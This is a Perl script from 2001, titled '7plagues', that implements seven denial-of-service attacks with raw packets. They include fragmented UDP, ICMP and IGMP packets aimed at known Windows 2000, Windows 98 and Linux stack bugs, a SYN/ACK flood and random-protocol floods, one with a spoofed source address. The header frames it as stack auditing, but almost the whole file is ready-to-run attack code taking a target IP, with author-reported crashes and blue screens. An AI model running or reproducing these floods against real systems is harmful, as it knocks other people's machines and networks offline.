#!/usr/bin/perl -w
###############################################################################
# #
# 7plagues, by 51 (May 2001) #
# #
# Threaded (or forked when threads not available) 7-headed Denial of Service, #
# which should be used to test/audit the TCP/IP stack stability on your #
# different Operating Systems, under extreme network conditions. #
# #
# The seven different DoS implemented there (1 over udp, 2 over icmp, 2 over #
# igmp, 1 over tcp and 1 using random protocol numbers) exploit some known #
# bugs of various networking proto stacks. Some parts of this code are #
# inspired from existing C implementations (jolt2, trash2, etc...). #
# #
# I used Perl rather than C for the implementation easeness of this straight #
# language, but I eventually figured out that I hadn't lost much in speed #
# and efficiency at run time (not to say I hadn't lost anything, heh). #
# #
# The tests I've been able to perform (an old PII 350 with a 10 Mb ethernet #
# card flooding a Duron 700 with 256 MB of Ram and a 3Com 10/100 Mb card) #
# gave the following results : #
# w2k : freezes when unleashing udp or icmp plagues, lags with igmp #
# w98 : blue screen of death upon igmp #
# linux : old kernels are exhausted under the tcp flood #
# I'll appreciate any report in various testing conditions :o) #
# #
# Requirements : #
# Net::RawIP by Sergey Kolychev - http://quake.skif.net/RawIP/ #
# #
# Shouts go to Gluck, full time Perl Guru :) #
# Greetz to the CyberArmy higher ups. Visit us at www.cyberarmy.com, or on #
# irc: irc.cyberarmy.com chan #cyberarmy, coolest guys in #void and #unixgods.#
# #
# 51 (void *) #
# mail: kernel51@libertysurf.fr #
# #
# I am not a numero... #
# #
###############################################################################
use strict;
use Config;
use Net::RawIP;
# Array of pointers on the selected plagues
my @plagues;
# Array of the selected protocol names
my @protos;
# Target IP
my $sinner = $ARGV[0];
# Different types of DoS are available...
my $sin = $ARGV[1];
# Number of hits (optional)
my $repant = $ARGV[2];
my $argsnum = @ARGV;
print "\n7plagues.pl by 51\n\n";
if ($argsnum < 2 || $argsnum > 3) {
&usage();
exit;
}
if ($argsnum == 2) {
$repant = -1;
}
$_ = $sin;
# Guru line to retrieve the specified protocols :)
@protos = /(\w+)/g;
# flag to be risen upon a valid protocol
my $flag = 0;
my $i;
for($i = 0; $i < @protos; $i++) {
if($protos[$i] eq "udp") {
push(@plagues,\&seaOfBlood);
$flag = 1;
}
if($protos[$i] eq "icmp") {
push(@plagues,\&riversOfBlood);
push(@plagues,\&scorchingFire);
$flag = 1;
}
if($protos[$i] eq "igmp") {
push(@plagues,\&kingdomOfDarkness);
push(@plagues,\&markOfTheBeast);
$flag = 1;
}
if($protos[$i] eq "tcp") {
push(@plagues,\&armageddon);
$flag = 1;
}
if($protos[$i] eq "misc") {
push(@plagues,\&greatVoice);
$flag = 1;
}
}
if(!$flag) {
print "No valid proto specified\n";
&usage();
exit;
}
print "Revelation 15:1\n";
print "And I saw another sign in Heaven, great and marvelous, ";
print "seven angels having the seven last plagues; ";
print "for in them is filled up the wrath of God.\n\n";
print "Bringing up Apocalyptical network conditions (ph33r)...\n";
if ($Config{usethreads}) {
require Threads;
my $thr;
for($i = 0; $i < @plagues; $i++) {
$thr = new Thread $plagues[$i], $sinner, $repant;
}
}
else {
&spawnhell(0);
}
sub usage {
print "Usage: ./7plagues.pl target_ip Proto [hits]\n";
print "Choose Proto among udp, icmp, igmp, tcp or misc.\n";
print "More than one can be specified, in which case the DoS will be ";
print "threaded (and might lose in efficiency on slower systems).\n";
print "Example: ./7plagues.pl 192.168.0.1 udp,icmp,igmp\n\n";
}
# Nice piece of code to simulate the use of threads with fork() calls
# Requires an array of pointers on the functions to be threaded (@plagues)
sub spawnhell {
my $indice = $_[0];
my $pid;
if($pid = fork) {
&{$plagues[$indice]}($sinner, $repant);
waitpid($pid,0);
}
else {
die "cannot fork: $!" unless defined $pid;
if($indice < @plagues - 1) {
&spawnhell($indice+1);
}
exit;
}
}
# icmp fragmentation bug
sub riversOfBlood {
my($packet, $target_address, $hits, $i);
$target_address = $_[0];
$hits = $_[1];
$packet = new Net::RawIP({
ip => {
saddr => $target_address,
daddr => $target_address,
id => 0x455,
ttl => 255,
tos => 0,
frag_off => 8190
},
icmp => {
code => 0,
type => 8,
check => 0,
data => chr(0)
}
});
for($i=0; $i != $hits; $i++) {
$packet->send;
}
print "\n";
}
# udp fragmentation bug. Very effective on w2k boxes.
sub seaOfBlood {
my($packet, $target_address, $port, $hits, $i);
$target_address = $_[0];
$port = 179;
$hits = $_[1];
$packet = new Net::RawIP({
ip => {
daddr => $target_address,
id => 0x455,
ttl => 255,
tos => 0,
frag_off => 8190
},
udp => {
source => 1235,
dest => $port,
len => 9,
data => chr(0)
}
});
for($i=0; $i != $hits; $i++) {
$packet->send;
}
print "\n";
}
# igmp bug causing bsod under w98
sub markOfTheBeast {
my($packet, $data, $target_address, $hits, $i, $j);
$target_address = $_[0];
$hits = $_[1];
$data = chr(0) x 1480;
$packet = new Net::RawIP({
ip => {
daddr => $target_address,
ttl => 255,
id => int(rand(40000)) + 500,
frag_off => 0x2000,
protocol => 2,
tos => 0
},
generic => {
data => $data
}
});
for($i=0; $i != $hits; $i++) {
$packet->send;
for($j=1;$j<5;$j++) {
if($j>3) {$packet->set({ip => {frag_off => (1480 * $j >> 3)}});}
else {$packet->set({ip => {frag_off => (1480 * $j >> 3)|0x2000}});}
$packet->send;
}
$packet->set({ip => {frag_off => 0x2000}});
}
print "\n";
}
# Buggy icmp sequence causing w2k machines to lag awfuly (brrr)
sub scorchingFire {
my($packet, $target_address, $hits, $i, $frag);
$target_address = $_[0];
$hits = $_[1];
$packet = new Net::RawIP({
ip => {
daddr => $target_address,
ttl => 30,
id => 1234,
frag_off => 0x2000,
tos => 0
},
icmp => {
type => int(rand(15)),
code => int(rand(15)),
data => '0'
}
});
for($i=0; $i != $hits; $i++) {
$packet->send;
$frag = 8 >> 3;
$frag |= 0x2000;
$packet->set({
ip => {
frag_off => $frag
},
icmp => {
type => int(rand(15)),
code => int(rand(15)),
check => 0,
data => '0' x 8
}
});
$packet->send;
}
print "\n";
}
# Various buggy igmp packets sequence
sub kingdomOfDarkness {
my($packet, $data, $target_address, $hits, $i, $frag);
$target_address = $_[0];
$hits = $_[1];
$data = chr(8);
$data .= chr(0);
$data .= chr(0) x 6;
$data .= chr(0);
$packet = new Net::RawIP({
ip => {
daddr => $target_address,
ttl => 255,
id => 34717,
frag_off => 0x2000,
protocol => 2,
tos => 0
},
generic => {
data => $data
}
});
for($i=0; $i != $hits; $i++) {
$packet->send;
$frag = 8 >> 3;
$frag |= 0x2000;
$packet->set({
ip => {
frag_off => $frag
}
});
$packet->send;
$data = chr(0) x 16;
$packet->set({
generic => {
data => $data
}
});
$packet->send;
$frag = 0x2000;
$data = chr(2);
$data .= chr(int(rand(255)));
$data .= chr(0) x 7;
$packet->set({
ip => {
frag_off => $frag
},
generic => {
data => $data
}
});
$packet->send;
$frag = 8 >> 3;
$frag |= 0x2000;
$packet->set({
ip => {
frag_off => $frag
}
});
$packet->send;
$frag = 0x2000;
$data = chr(int(rand(255)));
$data .= chr(int(rand(255)));
$data .= chr(0) x 7;
$packet->set({
ip => {
frag_off => $frag
},
generic => {
data => $data
}
});
$packet->send;
$frag = 8 >> 3;
$frag |= 0x2000;
$packet->set({
ip => {
frag_off => $frag
}
});
$packet->send;
$frag = 0x2000;
$data = chr(8);
$data .= chr(0) x 8;
$packet->set({
ip => {
frag_off => $frag
},
generic => {
data => $data
}
});
}
print "\n";
}
# Storm of random protocol packets with specific frag offsets and flags
# targa3 style...
sub greatVoice {
my($packet, $target_address, $hits, $i);
my(@protos, @frags, $proto, $frag);
$target_address = $_[0];
$hits = $_[1];
@protos = (0,1,2,4,6,8,12,17,22,41,58,255,0);
@frags = (0,0,0,0x2000,8192,0x4,0x6,16383,1,8190);
$packet = new Net::RawIP({
ip => {
daddr => $target_address,
ttl => 255,
tos => 0
}
});
for($i=0; $i != $hits; $i++) {
$proto = $protos[int(rand(@protos))];
$frag = $frags[int(rand(@frags))];
$packet->set({
ip => {
protocol => $proto,
frag_off => $frag
}
});
$packet->send;
}
print "\n";
}
# 1024 SYN for 1 ACK... supposed to hang some older Linux kernels
sub armageddon {
my($packet, $target_address, $port, $hits, $i);
$target_address = $_[0];
$port = 139;
$hits = $_[1];
$hits *= 1024;
$packet = new Net::RawIP({
ip => {
daddr => $target_address,
ttl => 255,
tos => 0x08 ,
frag_off => 0,
id => int(rand(65536))
},
tcp => {
window => 16384,
ack => 0,
doff => 5,
urg => 0,
dest => $port,
data => chr(0)
}
});
for($i=0; $i != $hits; ++$i) {
if( !($i&0x3FF) ) {
$packet->set({
tcp => {
ack => 0,
syn => 1,
ack_seq => 0
}
});
}
else {
$packet->set({
tcp => {
syn => 0,
ack => 1,
ack_seq => int(rand(65536))
}
});
}
$packet->send;
}
print "\n";
}